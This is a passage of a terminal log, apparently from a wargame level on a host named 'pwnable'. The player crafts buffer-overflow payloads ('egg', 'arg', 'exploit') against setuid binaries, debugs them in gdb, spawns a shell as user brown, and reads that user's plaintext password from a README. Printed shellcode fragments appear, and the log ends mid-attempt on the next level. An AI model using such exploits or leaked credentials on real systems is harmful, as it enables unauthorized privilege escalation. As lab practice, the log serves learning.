  1339. This GDB was configured as "i686-linux-gnu".
  1340. For bug reporting instructions, please see:
  1341. <http://www.gnu.org/software/gdb/bugs/>...
  1342. Reading symbols from /home/smith/agent-smith...done.
  1343. (gdb) r
  1344. Starting program: /home/smith/agent-smith pwnzerized
  1345. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1346.  
  1347. Program received signal SIGSEGV, Segmentation fault.
  1348. 0xbffff66c in ?? ()
  1349. (gdb) b main
  1350. Breakpoint 1 at 0x804855e: file agent-smith.c, line 23.
  1351. (gdb) r
  1352. The program being debugged has been started already.
  1353. Start it from the beginning? (y or n) y
  1354. Starting program: /home/smith/agent-smith pwnzerized
  1355.  
  1356. Breakpoint 1, main (argc=2, argv=0xbffff724) at agent-smith.c:23
  1357. 23 if (argc != 2)
  1358. (gdb) layout split
  1359. smith@pwnable:~$
  1360. smith@pwnable:~$ vim agent-smith.c
  1361. smith@pwnable:~$ vim egg
  1362. smith@pwnable:~$ vim agent-smith.c
  1363. smith@pwnable:~$ vim egg
  1364. smith@pwnable:~$ ./egg > pwnzerized
  1365. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1366. GNU gdb (GDB) 7.5-ubuntu
  1367. Copyright (C) 2012 Free Software Foundation, Inc.
  1368. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1369. This is free software: you are free to change and redistribute it.
  1370. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1371. and "show warranty" for details.
  1372. This GDB was configured as "i686-linux-gnu".
  1373. For bug reporting instructions, please see:
  1374. <http://www.gnu.org/software/gdb/bugs/>...
  1375. Reading symbols from /home/smith/agent-smith...done.
  1376. (gdb) r
  1377. Starting program: /home/smith/agent-smith pwnzerized
  1378. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1379.  
  1380. Program received signal SIGSEGV, Segmentation fault.
  1381. 0x895e1feb in ?? ()
  1382. (gdb) q
  1383. A debugging session is active.
  1384.  
  1385. Inferior 1 [process 4797] will be killed.
  1386.  
  1387. Quit anyway? (y or n) y
  1388. smith@pwnable:~$ vim egg
  1389. smith@pwnable:~$ ./egg > pwnzerized
  1390. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1391. GNU gdb (GDB) 7.5-ubuntu
  1392. Copyright (C) 2012 Free Software Foundation, Inc.
  1393. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1394. This is free software: you are free to change and redistribute it.
  1395. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1396. and "show warranty" for details.
  1397. This GDB was configured as "i686-linux-gnu".
  1398. For bug reporting instructions, please see:
  1399. <http://www.gnu.org/software/gdb/bugs/>...
  1400. Reading symbols from /home/smith/agent-smith...done.
  1401. (gdb) b main
  1402. Breakpoint 1 at 0x804855e: file agent-smith.c, line 23.
  1403. (gdb) d
  1404. Delete all breakpoints? (y or n) y
  1405. (gdb) r
  1406. Starting program: /home/smith/agent-smith pwnzerized
  1407. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1408.  
  1409. Program received signal SIGSEGV, Segmentation fault.
  1410. 0xbffff66c in ?? ()
  1411. (gdb) q
  1412. A debugging session is active.
  1413.  
  1414. Inferior 1 [process 4865] will be killed.
  1415.  
  1416. Quit anyway? (y or n) y
  1417. smith@pwnable:~$ vi agent-smith.c
  1418. smith@pwnable:~$ vim egg
  1419. smith@pwnable:~$ ./egg > pwnzerized
  1420. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1421. GNU gdb (GDB) 7.5-ubuntu
  1422. Copyright (C) 2012 Free Software Foundation, Inc.
  1423. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1424. This is free software: you are free to change and redistribute it.
  1425. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1426. and "show warranty" for details.
  1427. This GDB was configured as "i686-linux-gnu".
  1428. For bug reporting instructions, please see:
  1429. <http://www.gnu.org/software/gdb/bugs/>...
  1430. Reading symbols from /home/smith/agent-smith...done.
  1431. (gdb) r
  1432. Starting program: /home/smith/agent-smith pwnzerized
  1433. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1434. process 5013 is executing new program: /bin/dash
  1435. $ ls
  1436. README agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized test
  1437. $ whoami
  1438. smith
  1439. $ vim README
  1440.  
  1441.  
  1442. ~
  1443. ~
  1444. ~
  1445. ~
  1446. ~
  1447. ~
  1448. ~
  1449. ~
  1450. ~
  1451. ~
  1452. ~
  1453. ~
  1454. ~
  1455. ~
  1456. ~
  1457. ~
  1458. ~
  1459. ~
  1460. ~
  1461. ~
  1462. ~
  1463. ~
  1464. ~
  1465. ~
  1466. ~
  1467. ~
  1468. ~
  1469. ~
  1470. ~
  1471. ~
  1472. E138: Can't write viminfo file $HOME/.viminfo!
  1473. Press ENTER or type command to continue
  1474. $ q
  1475. /bin/sh: 4: q: not found
  1476. $ :q
  1477. /bin/sh: 5: :q: not found
  1478. $ ^C
  1479. Program received signal SIGINT, Interrupt.
  1480. 0xb7fdd424 in ?? ()
  1481. (gdb) q
  1482. A debugging session is active.
  1483.  
  1484. Inferior 1 [process 5013] will be killed.
  1485.  
  1486. Quit anyway? (y or n) y
  1487. smith@pwnable:~$ ./egg > pwnzerized
  1488. smith@pwnable:~$ ./exploit
  1489. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1490. $ ls
  1491. README agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized test
  1492. $ whoami
  1493. brown
  1494. $ vim exploit
  1495.  
  1496. #!/bin/sh
  1497. ./egg > pwnzerized
  1498. invoke agent-smith pwnzerized
  1499. ~
  1500. ~
  1501. ~
  1502. ~
  1503. ~
  1504. ~
  1505. ~
  1506. ~
  1507. ~
  1508. ~
  1509. ~
  1510. ~
  1511. ~
  1512. ~
  1513. ~
  1514. ~
  1515. ~
  1516. ~
  1517. ~
  1518. ~
  1519. ~
  1520. ~
  1521. ~
  1522. ~
  1523. ~
  1524. ~
  1525. ~
  1526. ~
  1527. E138: Can't write viminfo file $HOME/.viminfo!
  1528. Press ENTER or type command to continue
  1529. $ q
  1530. /bin/sh: 4: q: not found
  1531. $ :q
  1532. /bin/sh: 5: :q: not found
  1533. $ q
  1534. /bin/sh: 6: q: not found
  1535. $ quit
  1536. /bin/sh: 7: quit: not found
  1537. $ ls
  1538. README agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized test
  1539. $ whoami
  1540. brown
  1541. $ ls
  1542. README agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized test
  1543. $ ^C
  1544. $ ^C
  1545. $
  1546. smith@pwnable:~$ ./egg > pwnzerized
  1547. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1548. GNU gdb (GDB) 7.5-ubuntu
  1549. Copyright (C) 2012 Free Software Foundation, Inc.
  1550. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1551. This is free software: you are free to change and redistribute it.
  1552. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1553. and "show warranty" for details.
  1554. This GDB was configured as "i686-linux-gnu".
  1555. For bug reporting instructions, please see:
  1556. <http://www.gnu.org/software/gdb/bugs/>...
  1557. Reading symbols from /home/smith/agent-smith...done.
  1558. (gdb) q
  1559. smith@pwnable:~$ ./exploit
  1560. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1561. $ ls
  1562. README agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized test
  1563. $ vi README
  1564.  
  1565. Never send a human to do a machine's job.
  1566.  
  1567. user: brown
  1568. pass: Zsps7Z):
  1569. ~
  1570. ~
  1571. ~
  1572. ~
  1573. ~
  1574. ~
  1575. ~
  1576. ~
  1577. ~
  1578. ~
  1579. ~
  1580. ~
  1581. ~
  1582. ~
  1583. ~
  1584. ~
  1585. ~
  1586. ~
  1587. ~
  1588. ~
  1589. ~
  1590. ~
  1591. ~
  1592. ~
  1593. ~
  1594. ~
  1595. ~
  1596. E138: Can't write viminfo file $HOME/.viminfo!
  1597. Press ENTER or type command to continue
  1598. $ ls
  1599. README agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized test
  1600. $ ^C
  1601. $
  1602. smith@pwnable:~$ exit
  1603. logout
  1604. Connection to 127.0.01 closed.
  1605. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 brown@127.0.0.1
  1606. brown@127.0.0.1's password:
  1607.  
  1608. The programs included with the Ubuntu system are free software;
  1609. the exact distribution terms for each program are described in the
  1610. individual files in /usr/share/doc/*/copyright.
  1611.  
  1612. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
  1613. applicable law.
  1614.  
  1615. _/ _/
  1616. _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/
  1617. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/
  1618. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
  1619. _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/_/_/
  1620. _/
  1621. _/
  1622.  
  1623. Last login: Thu Jan 28 11:52:40 2016 from 10.0.2.2
  1624. brown@pwnable:~$ ls
  1625. agent-brown agent-brown.c exploit README
  1626. brown@pwnable:~$ vim exploit
  1627. brown@pwnable:~$ vim agent-brown.c
  1628. brown@pwnable:~$ ls
  1629. agent-brown agent-brown.c exploit README
  1630. brown@pwnable:~$ vim egg
  1631. brown@pwnable:~$ ls
  1632. agent-brown agent-brown.c egg exploit README
  1633. brown@pwnable:~$ chmod +xegg
  1634. chmod: missing operand after `+xegg'
  1635. Try `chmod --help' for more information.
  1636. brown@pwnable:~$ chmod +x egg
  1637. brown@pwnable:~$ ls
  1638. agent-brown agent-brown.c egg exploit README
  1639. brown@pwnable:~$ vim egg
  1640. brown@pwnable:~$ ls
  1641. agent-brown agent-brown.c egg exploit README
  1642. brown@pwnable:~$ vim exploit
  1643. brown@pwnable:~$ ./exploit
  1644. ./exploit: 2: ./exploit: ./arg: not found
  1645. brown@pwnable:~$ vim README
  1646. brown@pwnable:~$ ./egg > test
  1647. brown@pwnable:~$ invoke -d agent-brown test
  1648. GNU gdb (GDB) 7.5-ubuntu
  1649. Copyright (C) 2012 Free Software Foundation, Inc.
  1650. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1651. This is free software: you are free to change and redistribute it.
  1652. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1653. and "show warranty" for details.
  1654. This GDB was configured as "i686-linux-gnu".
  1655. For bug reporting instructions, please see:
  1656. <http://www.gnu.org/software/gdb/bugs/>...
  1657. Reading symbols from /home/brown/agent-brown...done.
  1658. (gdb) b main
  1659. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1660. (gdb) layout split
  1661. brown@pwnable:~$ ./egg > test
  1662. brown@pwnable:~$ invoke -d agent-brown test
  1663. GNU gdb (GDB) 7.5-ubuntu
  1664. Copyright (C) 2012 Free Software Foundation, Inc.
  1665. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1666. This is free software: you are free to change and redistribute it.
  1667. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1668. and "show warranty" for details.
  1669. This GDB was configured as "i686-linux-gnu".
  1670. For bug reporting instructions, please see:
  1671. <http://www.gnu.org/software/gdb/bugs/>...
  1672. Reading symbols from /home/brown/agent-brown...done.
  1673. (gdb) r
  1674. Starting program: /home/brown/agent-brown test
  1675. TEST
  1676. [Inferior 1 (process 12456) exited normally]
  1677. (gdb) b main
  1678. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1679. (gdb) r
  1680. Starting program: /home/brown/agent-brown test
  1681.  
  1682. Breakpoint 1, main (argc=2, argv=0xbffff724) at agent-brown.c:32
  1683. 32
  1684. (gdb) layout split
  1685. brown@pwnable:~$ ls
  1686. agent-brown agent-brown.c egg exploit README test
  1687. brown@pwnable:~$ vi egg
  1688. brown@pwnable:~$ invoke -e egg=$(./egg) agent-brown $(./arg)
  1689. -bash: ./arg: No such file or directory
  1690. brown@pwnable:~$ vim exploit
  1691. brown@pwnable:~$ ./exploit
  1692. ./exploit: 2: ./exploit: ./arg: not found
  1693. brown@pwnable:~$ vim egg
  1694. brown@pwnable:~$ vi exploit
  1695. brown@pwnable:~$ ./egg
  1696. junkADDR
  1697. brown@pwnable:~$ vi exploit
  1698. brown@pwnable:~$ vi agent-brown.c
  1699. brown@pwnable:~$ vi arg
  1700. brown@pwnable:~$ vi arg
  1701. brown@pwnable:~$ vi egg
  1702. brown@pwnable:~$ chmod +x arg
  1703. brown@pwnable:~$ vi arg
  1704. brown@pwnable:~$ vi egg
  1705. brown@pwnable:~$ vi arg
  1706. brown@pwnable:~$ python arg
  1707. File "arg", line 1
  1708. !#/usr/bin/env python
  1709. ^
  1710. SyntaxError: invalid syntax
  1711. brown@pwnable:~$ vi arg
  1712. brown@pwnable:~$ vi arg
  1713. brown@pwnable:~$ python arg
  1714. """"""""""""""""
  1715. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1716. GNU gdb (GDB) 7.5-ubuntu
  1717. Copyright (C) 2012 Free Software Foundation, Inc.
  1718. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1719. This is free software: you are free to change and redistribute it.
  1720. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1721. and "show warranty" for details.
  1722. This GDB was configured as "i686-linux-gnu".
  1723. For bug reporting instructions, please see:
  1724. <http://www.gnu.org/software/gdb/bugs/>...
  1725. Reading symbols from /home/brown/agent-brown...done.
  1726. (gdb) b main
  1727. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1728. (gdb) r
  1729. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1730.  
  1731. Breakpoint 1, main (argc=2, argv=0xbffff714) at agent-brown.c:32
  1732. 32
  1733. (gdb) layout split
  1734. brown@pwnable:~$ vi arg
  1735. brown@pwnable:~$ vi egg
  1736. brown@pwnable:~$ python egg
  1737. ?^?1??F?F
  1738. ?
  1739. ???V
  1740. ̀1ۉ?@̀?????/bin/sh
  1741. brown@pwnable:~$ python arg
  1742. """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
  1743. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1744. GNU gdb (GDB) 7.5-ubuntu
  1745. Copyright (C) 2012 Free Software Foundation, Inc.
  1746. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1747. This is free software: you are free to change and redistribute it.
  1748. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1749. and "show warranty" for details.
  1750. This GDB was configured as "i686-linux-gnu".
  1751. For bug reporting instructions, please see:
  1752. <http://www.gnu.org/software/gdb/bugs/>...
  1753. Reading symbols from /home/brown/agent-brown...done.
  1754. (gdb) b main
  1755. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1756. (gdb) layout split
  1757. brown@pwnable:~$ vi egg
  1758. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1759. File "./egg", line 7
  1760. "\x22\x22\x22\x22\x22\x22\x22\x68" +)
  1761. ^
  1762. SyntaxError: invalid syntax
  1763. GNU gdb (GDB) 7.5-ubuntu
  1764. Copyright (C) 2012 Free Software Foundation, Inc.
  1765. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1766. This is free software: you are free to change and redistribute it.
  1767. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1768. and "show warranty" for details.
  1769. This GDB was configured as "i686-linux-gnu".
  1770. For bug reporting instructions, please see:
  1771. <http://www.gnu.org/software/gdb/bugs/>...
  1772. Reading symbols from /home/brown/agent-brown...done.
  1773. (gdb) r
  1774. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1775. ???????????????\??????????p??????
  1776.  
  1777. Program received signal SIGSEGV, Segmentation fault.
  1778. 0x0070bfff in ?? ()
  1779. (gdb) b main
  1780. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1781. (gdb) layout split
  1782. brown@pwnable:~$ vi egg
  1783. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1784. File "./egg", line 7
  1785. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1786. ^
  1787. SyntaxError: invalid syntax
  1788. GNU gdb (GDB) 7.5-ubuntu
  1789. Copyright (C) 2012 Free Software Foundation, Inc.
  1790. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1791. This is free software: you are free to change and redistribute it.
  1792. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1793. and "show warranty" for details.
  1794. This GDB was configured as "i686-linux-gnu".
  1795. For bug reporting instructions, please see:
  1796. <http://www.gnu.org/software/gdb/bugs/>...
  1797. Reading symbols from /home/brown/agent-brown...done.
  1798. (gdb) b main
  1799. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1800. (gdb) r
  1801. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1802.  
  1803. Breakpoint 1, main (argc=2, argv=0xbffff6a4) at agent-brown.c:32
  1804. 32
  1805. (gdb) c
  1806. Continuing.
  1807. ???????????????\??????????p??????
  1808.  
  1809. Program received signal SIGSEGV, Segmentation fault.
  1810. 0x0070bfff in ?? ()
  1811. (gdb) q
  1812. A debugging session is active.
  1813.  
  1814. Inferior 1 [process 20089] will be killed.
  1815.  
  1816. Quit anyway? (y or n) y
  1817. brown@pwnable:~$ vi arg
  1818. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1819. File "./egg", line 7
  1820. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1821. ^
  1822. SyntaxError: invalid syntax
  1823. GNU gdb (GDB) 7.5-ubuntu
  1824. Copyright (C) 2012 Free Software Foundation, Inc.
  1825. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1826. This is free software: you are free to change and redistribute it.
  1827. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1828. and "show warranty" for details.
  1829. This GDB was configured as "i686-linux-gnu".
  1830. For bug reporting instructions, please see:
  1831. <http://www.gnu.org/software/gdb/bugs/>...
  1832. Reading symbols from /home/brown/agent-brown...done.
  1833. (gdb) b main
  1834. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  1835. (gdb) r
  1836. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1837.  
  1838. Breakpoint 1, main (argc=2, argv=0xbffff694) at agent-brown.c:32
  1839. 32
  1840. (gdb) r
  1841. The program being debugged has been started already.
  1842. Start it from the beginning? (y or n) y
  1843.  
  1844. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1845.  
  1846. Breakpoint 1, main (argc=2, argv=0xbffff694) at agent-brown.c:32
  1847. 32
  1848. (gdb) d
  1849. Delete all breakpoints? (y or n) y
  1850. (gdb) r
  1851. The program being debugged has been started already.
  1852. Start it from the beginning? (y or n) y
  1853.  
  1854. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1855. ???????????????\????\????
  1856.  
  1857. Program received signal SIGSEGV, Segmentation fault.
  1858. 0x0064b7fd in ?? ()
  1859. (gdb) q
  1860. A debugging session is active.
  1861.  
  1862. Inferior 1 [process 20195] will be killed.
  1863.  
  1864. Quit anyway? (y or n) y
  1865. brown@pwnable:~$ vi arg
  1866. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1867. File "./egg", line 7
  1868. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1869. ^
  1870. SyntaxError: invalid syntax
  1871. GNU gdb (GDB) 7.5-ubuntu
  1872. Copyright (C) 2012 Free Software Foundation, Inc.
  1873. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1874. This is free software: you are free to change and redistribute it.
  1875. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1876. and "show warranty" for details.
  1877. This GDB was configured as "i686-linux-gnu".
  1878. For bug reporting instructions, please see:
  1879. <http://www.gnu.org/software/gdb/bugs/>...
  1880. Reading symbols from /home/brown/agent-brown...done.
  1881. (gdb) r
  1882. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1883. ???????????????\????\????????p???????
  1884.  
  1885. Program received signal SIGSEGV, Segmentation fault.
  1886. 0xfaf00000 in ?? ()
  1887. (gdb) q
  1888. A debugging session is active.
  1889.  
  1890. Inferior 1 [process 20249] will be killed.
  1891.  
  1892. Quit anyway? (y or n) y
  1893. brown@pwnable:~$ vi arg
  1894. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1895. File "./egg", line 7
  1896. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1897. ^
  1898. SyntaxError: invalid syntax
  1899. GNU gdb (GDB) 7.5-ubuntu
  1900. Copyright (C) 2012 Free Software Foundation, Inc.
  1901. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1902. This is free software: you are free to change and redistribute it.
  1903. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1904. and "show warranty" for details.
  1905. This GDB was configured as "i686-linux-gnu".
  1906. For bug reporting instructions, please see:
  1907. <http://www.gnu.org/software/gdb/bugs/>...
  1908. Reading symbols from /home/brown/agent-brown...done.
  1909. (gdb) r
  1910. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1911. ???u???????????\u???\????????p???????
  1912.  
  1913. Program received signal SIGSEGV, Segmentation fault.
  1914. 0x38b8b7fd in ?? ()
  1915. (gdb) :q
  1916. Undefined command: "". Try "help".
  1917. (gdb) q
  1918. A debugging session is active.
  1919.  
  1920. Inferior 1 [process 20284] will be killed.
  1921.  
  1922. Quit anyway? (y or n) y
  1923. brown@pwnable:~$ vi arg
  1924. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1925. File "./egg", line 7
  1926. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1927. ^
  1928. SyntaxError: invalid syntax
  1929. GNU gdb (GDB) 7.5-ubuntu
  1930. Copyright (C) 2012 Free Software Foundation, Inc.
  1931. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1932. This is free software: you are free to change and redistribute it.
  1933. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1934. and "show warranty" for details.
  1935. This GDB was configured as "i686-linux-gnu".
  1936. For bug reporting instructions, please see:
  1937. <http://www.gnu.org/software/gdb/bugs/>...
  1938. Reading symbols from /home/brown/agent-brown...done.
  1939. (gdb) r
  1940. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1941. ???e???????????\e???\????????p???????
  1942.  
  1943. Program received signal SIGSEGV, Segmentation fault.
  1944. 0x00700000 in ?? ()
  1945. (gdb) q
  1946. A debugging session is active.
  1947.  
  1948. Inferior 1 [process 20334] will be killed.
  1949.  
  1950. Quit anyway? (y or n) y
  1951. brown@pwnable:~$ vi arg
  1952. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1953. File "./egg", line 7
  1954. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1955. ^
  1956. SyntaxError: invalid syntax
  1957. GNU gdb (GDB) 7.5-ubuntu
  1958. Copyright (C) 2012 Free Software Foundation, Inc.
  1959. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1960. This is free software: you are free to change and redistribute it.
  1961. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1962. and "show warranty" for details.
  1963. This GDB was configured as "i686-linux-gnu".
  1964. For bug reporting instructions, please see:
  1965. <http://www.gnu.org/software/gdb/bugs/>...
  1966. Reading symbols from /home/brown/agent-brown...done.
  1967. (gdb) r
